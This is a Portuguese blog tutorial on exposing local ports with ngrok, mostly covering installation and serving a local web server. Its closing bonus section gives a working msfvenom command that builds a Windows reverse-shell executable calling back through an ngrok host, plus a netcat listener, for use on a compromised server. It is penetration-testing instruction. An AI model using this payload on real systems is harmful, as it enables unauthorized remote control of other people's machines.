Expondo porta local com Ngrok

16:09 Lucas Taraia 0 Comentarios


 

Image by ngrok

Em alguns cenários em um teste de invasão, o pentester necessita deixar acessível para a internet uma porta local para que haja comunicação entre o servidor alvo de testes e sua máquina, e assim possibilite a obtenção de um reverse shell. Há também o caso de um desenvolvedor necessitar demonstrar um projeto web para pessoas de fora da sua rede e este projeto estar disponível somente na sua máquina. Contudo, para que isso seja possível, é necessário que seja habilitado e configurado o redirecionamento de porta em seu roteador, entretanto a maioria dos provedores de internet impossibilitam essa abertura de porta mesmo que você realize a configuração devida no seu roteador.

Dessa forma, uma solução viável para essa situação seria a utilização de um túnel onde esse receberia o tráfego externo e retransmitiria para uma porta local que está em modo de escuta. Uma ferramenta gratuita, prática e que possibilita essa interação é o ngrok.

>> O que é o Ngrok?

"Ngrok exposes local servers behind NATs and firewalls to the public internet over secure tunnels." - 
Isso significa então que o ngrok transforma qualquer porta do seu computador em um domínio público e seguro para que seja possível acessar seu localhost de qualquer dispositivo através da internet, mesmo que você não tenha um IP público ou esteja atrás de NAT, ou firewalls.

Sem mais delongas, vamos ao que nos interessa!

>> Instalação e configuração

- Etapa 1
A instalação do ngrok é super simples e não possui dependências para executar na sua máquina.
Realize o cadastro no site oficial do ngrok e na área logada efetue o download do arquivo de instalação conforme o seu sistema operacional (disponível para Windows, Linux, Mac OS).

- Etapa 2
Envie o arquivo baixado para o diretório de sua preferência e descompacte-o. Com o terminal aberto na pasta descompactada, execute o arquivo conforme abaixo passando o token de autenticação que se encontra disponível no painel do ngrok.

# ./ngrok authtoken <SeuTokenAqui>
Dica: Para não precisar ficar acessando o diretório para executar o ngrok, execute o seguinte comando: 
cp /diretorio/do/ngrok /usr/bin/

>> Execução

Mostra uma lista de comandos ou ajuda para um comando:

# ./ngrok help

Exponha um servidor web na porta 80 de sua máquina para a internet:
# ngrok http 80
Obs: A porta 80 é a padrão para serviços HTTP, você pode alterar esse valor caso seu servidor web esteja configurado em outra porta.

Ao iniciar o ngrok, ele exibirá uma interface do usuário em seu terminal com a URL pública do seu túnel e outras informações de status e métricas sobre conexões feitas em seu túnel.


Para fins de testes, você pode utilizar o python para criar um servidor web de forma prática. Utilize o seguinte comando: python3 -m http.server 80

Agora, acesse a URL exibida na interface do ngrok e verá a mágica acontecer.


Bônus:
Após identificar uma falha que permite a execução de comando remoto no servidor alvo, o próximo passo é a obtenção de um shell interativo e assim obter maior controle sobre o sistema comprometido.
Para isso, vamos expor uma porta TCP local e criar um arquivo malicioso que contém um payload cuja função é a de retornar o shell para o endereço do nosso túnel do ngrok.

# ngrok tcp [Porta_TCP]

Resumidamente, qualquer requisição para o endereço "2.tcp.ngrok.io" na porta "11596", seu tráfego será encaminhado para o serviço na máquina local que estiver executando na porta 1234, que no nosso caso é o nc (netcat).

Rode o comando abaixo para gerar o arquivo .exe contendo o payload malicioso:

# msfvenom -p windows/x64/shell_reverse_tcp LHOST=2.tcp.ngrok.io LPORT=11596 -f exe > shell.exe
* Não esqueça de alterar o endereço local (LHOST) e a porta (LPORT) para os valores do seu túnel do ngrok.
Para mais informações sobre payloads disponíveis e a utilização das funcionalidades do msfvenom, utilize seu manual de ajuda "man msfvenom".

Com o netcat rodando na porta que receberá o shell remoto, execute o arquivo malicioso no servidor comprometido e receberá acesso interativo ao alvo por meio de uma conexão reversa.


Chegou até aqui? Que ótimo! Agora use sua criatividade e monte um laboratório para testar o conhecimento adquirido nesse artigo. Qualquer dúvida ou sugestão, deixe o seu comentário! =)

Referência:
    https://ngrok.com/docs

0 comentários: